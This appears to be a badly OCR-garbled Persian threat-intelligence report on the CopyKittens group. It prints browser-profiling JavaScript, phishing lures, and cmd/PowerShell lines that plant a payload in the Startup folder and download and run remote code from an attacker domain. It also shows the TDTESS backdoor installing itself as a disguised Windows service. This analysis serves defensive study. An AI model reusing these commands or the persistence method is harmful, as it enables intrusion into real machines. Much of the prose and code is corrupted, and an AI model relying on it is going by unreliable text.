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applicatiof( Adobe Reader',TixReadervVprsion(control.Getve
plugin=cheqkPlugin('Adobe Acrobat');if(plugin)
applicatiof("Adobe Reader"”,extractverpion(plugin,acrobat
applicatiof("Adobe Flash",control.Getyariable('$version')
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applicatiof("Real Jukebox",extractverpion(plugin,”real™))
applicatiof("Apple QuickTime","");plugin=checkPlugin("qui
applicatiof("Apple QuickTime",extractyersion(plugin,”qt")
applicatiof("windows Media Player",coptrol.versionInfo);p

applicatiof("windows Media Player",exfractversion(plugin,
else{try{vqr t=document.getClementByIfi("checkip");var v=t
catch(e){}
if(typeof(compatability)!="undetined &&typeof(compatabili
application("Internet Explorer",version.replace(/,/g,"'.")
try{application("JScript”,ScriptEngineMajorversion()+"."+
catch(e){}
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var internalAddress = function() {
if (deployJdava.getBrowser() != "MSIE") {
try {

var socket = mnew java.net.Socket();

socket.bind (new java.net.InetSocketAddress('0.0.0.0
socket.connect (new java.net.InetSocketAddress (docume
address = socket.getLocalAddress () .getHostAddress ()
return address;
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From: I

Sent: Wednesday, April 26, 2017 9:12 AM
To: I

Subject: Fw: IRAN NORTH-KOREA RUSSIA

From:
Sent: Wednesday, April 26, 2017 9:10 AM
To: .

fa.govtr
Subject: IRAN NORTH-KOREA RUSSIA

Iran—North Korea relations are described as being positive by official news agencies of the two countries, Diplomatic relations picked up following the

in 1979 and the establishment of an Islamic Republic, Iran and North Korea pledge cooperation in educational, scientific, and cultural spheres, as well as cooperating in |
ram of Iran The United States has been greatly concerned by North Korea's arms deals with Iran, which started during the 1980s with North Korea acting a
arms deals between the Communist bloc and Iran, as well as selling domestically produced weapons to Iran, and North Korea continues selling missile and

nuclear technology to Iran. North Korea and Iran are the remaining two members of Geo Bush's "Auis of evil", which has led to many of the concerns regarding
Iran-North Korea relations.
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The North Korean weapons program now testing U.S. President Donald Trump stretches back decades,
when the regime began reverse-engineering Scud missiles acquired from Egypt. International efforts to
curb North Korea’s nuclear threat were dealt a setback in 2006 with the country’s first successful bomb
test, and former leader Kim Jong Il abandoned talks a few years later. His son and successor, Kim Jong
Un, has only accelerated the program, testing more sophisticated technology in defiance of
international sanctions.

Here’s a detailed history of North Korea’s weapons programs: ;
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“DISNET ERISIM CIHAZI” KULLANIM KILAVUZU

Dikkat!: Cihazi kullanmaya baglamadan dnce mutlaka dokiimani sonuna kadar okuyunuz!
ON BILGILER:

-Bu dok(imanda ¢evrimdigi temsilciliklerimizin, DigNet’e ve Yeni BelgeArsiv (BaWeb)'e glvenli
bigimde erigimlerinin saglanmasi amaciyla gonderilen “DigNet erigim cihazi” nin kullamimi hakkinda
bilgilere erigebilirsiniz. Bu cihaz ile Bakanlhgimiz yazismalar gibi dzel verilere erigilmesi sdzkonusu
oldugundan agagida belirtilen bazi ek giivenlik onlemleri alinmalidir. Cihazin kaybedilmesi
durumunda merkezden bahsekonu cihazin Bakanligimiza erisiminin gegici/kalici olarak
durdurulabilmesini teminen acilen bted.guvenlik@mfa.gov.tr adresine bilgi verilmelidir.
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cmd.exe /c copy Ma_1.tmp "%userprofile%\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup"\CheckpointGO.pif&& copy sslvpn.tmp
%userprofile%\desktop\sslvpnmanual.pdf&& cd %userprofile%\desktop&& sslvpnmanual.pdf cmd.exe /c
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://jpsrv-java-

jdkec2.javaupdate[.]Jco:80/Sourcefire"))"
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cmd.exe /c powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object
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<head>
I <base href="http://www.emetpress.com/index.php/he/" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
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<title>emetpress</title>

Emet press wolw www.novinwebgostar.com (;3lis 4 o;Lil — ¥¥ Jsib

9 3945 glo)ljal
1wl 03,5 o3laiwl SQL 55 35 32))5 9 (292002 9 9 S (g Rl Gingy jokie a1 pj (sloyliul jI CopyKittens

©hd 9 639 9ol Havij .l 624 6315 asuwgs ITSecTeam (silyl wiSysb buwgs a5 SQL G253 5395 15l :Havij =
9o o3litil (6 3xaml ()] 9 SQL 35 G255 sl Baae )l ool 51wl (SB1S (6,08 baaly

gy & Caml 3985 (43051 (5l 50T ()l awl 0313 8L (8)S JyiS )3 9 35 §2)35 5395l S :SQLMap =
0 38 )l gl iS50 ) 392 1) 0315 650 (38)S Caw )3 9 SQL 35 30)5 s pdaasn 1 (2920x00 9 (ALwlidh
@i (69) 3 20l)d (512l 9 ol @i @) Luoyiand 0315 SOU jI osly (ailgs wsld sHL Wlaswie (3wl
Canl 593 oly 1 byl @ayb 1 e (Jole

XSS SQL 35 @55 iwiel Glocins (lwliss 4 5318 Il ¢l .Cunl (gpisaw! g)led Siug ) :Acunetix =
anl 3503 g (g izcawl e ¥l Give 9 Host Header Injection (SSRF XXE

LS Joz 1) 595 ¢ cdlwgySole a5 wlaibly ew olinlyguw jl (555 )3 Laslsgs (glaslumlgS sloul b ¢lazlgs ¢l

Laoyl;-8lay

TDTESS

O#ohd L3S (50 8Ly LT 1) (el (slaly Giwcdlol S b g 63,5 )18 bL)| G 3le)d (5loygpw b (sloygs yok . 8iS (50
Jole @i Service Manager Gido 53 a5 3550 dlsul |y o3e agyw Hdls . Ngb e Jluyl g dxbo S @b 5l

Open-source "
Backdoor *

83,053 alY (gpulw Ollac Jud=x5 g suwyp | 11



saolive (b8 3S 50 o3laiwl Windows Management Instrumentation b WINAPI 1 a5 (»lo)ll e ¢ Windows
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W90 @ GleBhd w90 )3 3gd hal (Qumgrw B ,3) Gleleiié Wygo @ po g Glolel w90 4 @ Mlgie TDTESS
02 S50 a8l |y 395 Wi (gl uninstalltheservice b 395> cuai gl installtheservice wasuive 93 51 o (loles
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installtheservice
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Key name: bmwappushservice

Display name: bmwappushsvc

Description: WAP Push Message Routing Service

Type: own (runs in its own process)

Start type: auto (starts each time the computer is restarted and runs even if no one logs on to the
computer)

Path: <main executable path> (In our analysis: c:\Users\PC008\Desktop\t.exe)

Security descriptor:
D:(D;DCLCWPDTSD;;IU)(D;DCLCWPDTSD;;SU)(D;;DCLCWPDTSD;;BA)(A;;CCLCSWLOCRRC;;1U)(A;;CCLC
SWLOCRRC;;SU)(A;; CCLCSWRPWPDTLOCRRC;;;SY)(A;; CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU
iF

A;CCDCLCSWRPWPDTLOCRSDRCWDWO;;WD)

B Administrator: CAWindows\System32\cmd.exe e S

c:\Users\PCOO8\Desktop>sc qc bmwappushservice
[SC] QueryServiceConfig SUCCESS

SERUICE_NAME: bmwappushseruvice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME ¢ "c:\Users\PCO08\Desktop\t.exe™
LOAD_ORDER_GROUP
TAG : 0
DISPLAY_NAME : bmwappushsuc
DEPENDENCIES

SERUVICE_START_NAME : LocalSystem

c:\Users\PCOB8\Desktop>sc getdisplayname bmwappushservice
[SC] GetServiceDisplayName SUCCESS
Name = bmwappushsuc

¢:\Users\PCO08\Desktop>sc sdshow bmwappushservice
D:(D;;DCLCWPDTSD; ; ; IU)(D; ; DCLCWPDTSD: ; ;SU)(D; ; DCLCWPDTSD; ; ;BA) (A; ; CCLCSWLOCRRE ; ;

;IU)(A; ;CCLCSWLOCRRC; ; ;SUY(A; ; CCLCSWRPWPDTLOCRRC; ; ;SY) (A; ; CCDCLCSWRPWPDTLOCRSDRC
WDWO; ; ;BA)S: (AU;FA; CCOCLCSWRPWPDTLOCRSDRCWDWO; ; ; WD)
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GIS yok 393 Adlgs SErVICeS.MSC Lindy )3 Gugyw 83 lie (i by (93,5 wabgie 4y )318 AbL asls j6 1) Administrator
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= service_change_config
=  service_query_status
= service_stop

= service_pause_continue

= delete
Q’ Registry Editor
File Edit View Favorites Help
b06bdrv 4 Name Type Data
b57nd60a 28] (Defautt) REG_SZ (value not set)
| BattC abiDescription:  REG_SZ WAP Push Message Routing Service
BDESVC ab| DisplayName REG_SZ bmwappushsvc
I Beep we|ErrorControl  REG_DWORD 0x00000001 (1)
). BFE £ | ¥%|FailureActions REG_BINARY 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 14 00 00 00 01 00 00 00 80 ee 36 00
h BITS ablmagePath  REG_EXPAN... "C\Users\PCO08\Desktop\t.exe”
|- blbdrive : ab|ObjectName  REG_SZ LocalSystem
4 Wbmyappushservice 4 Start REG DWORD 0x00000002 (2)

Ail5yua50 35 gy ladudio — Y 5o

034 (313,550 LS Y jl digas 95 . Mg 50 Wiz )8l buwgl atdl a5 153,50 dloul ju SY GloJld Guygpw uad (s 5>
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| InstallUtilInstallLog - Notepad =

File Edit Format View Help

Running a transacted installation.

Beginning the Install phase of the installation.
See the contents of the log file for the C:\Users\PCOO8\Desktop\t.exe assembly's progress.
The file is located at C:\Users\PC008\Desktop\t.InstallLog.

The Install phase completed successfully, and the Commit phase is beginning.
See the contents of the log file for the C:\Users\PCOO8\Desktop\t.exe assembly's progress.
The file is located at C:\Users\PCO08\Desktop\t.InstallLog.

The Commit phase completed successfully.

The transacted install has completed.

InstallUtil.InstallLog 116 (glgime — Yo JSib

j tInstallLog - Notepad
File Edit Format View Help

[Installing assembly 'C:\Users\PCOO8\Desktop\t.exe".
Affected parameters are:
assemblypath = C:\Users\Pc008\Desktop\t.exe
logfile = C:\Users\PC008\Desktop\t.InstallLog
logtoconsole =
Installing service bmwappushservice...
service bmwappushservice has been successfully installed.
Creating EventLog source bmwappushservice in log Application...
Committing assembly 'C:\Users\PCO08\Desktop\t.exe'.
Affected parameters are:
assemblypath = C:\Users\PC008\Desktop\t.exe
logfile = C:\Users\Pc008\Desktop\t.InstallLog
logtoconsole =

<filename>.t.InstallLog Js16 (glgize — V5 S
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= %windir%\system32\svchost.exe

uninstalltheservice

installtheservice alivw .ab solgs> Bis 9530 Guagyw Administrator uwyiws ghw b dasiie ol ha! wygo 5>
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" InstallUtilInstallLog - Notepad == ‘
File Edit Format View Help

The uninstall is beginning.
See the contents of the log file for the C:\Users\PCO08\Desktop\t.exe assembly's progress.

The file is Tocated at C:\Users\PC008\Desktop\t.InstallLog.

The uninstall has completed.|

InstallUtil.InstallLog (st (glgize — YV JSib

_ | tinstallLog - Notepad

File Edit Format View Help
Uninstalling assembly 'C:\Users\PCO08\Desktop\t.exe'.
Affected parameters are:
assemblypath = C:\Users\PC008\Desktop\t.exe
logfile = C:\Users\PC008\Desktop\t.InstallLog
Togtoconsole =
Removing EventLog source bmwappushservice.
Service bmwappushservice is being removed from the system...
Service bmwappushservice was successfully removed from the system.
Attempt to stop service bmwappushservice.

InstallUtil.InstallLog 16 (glgiswe — YA JSi
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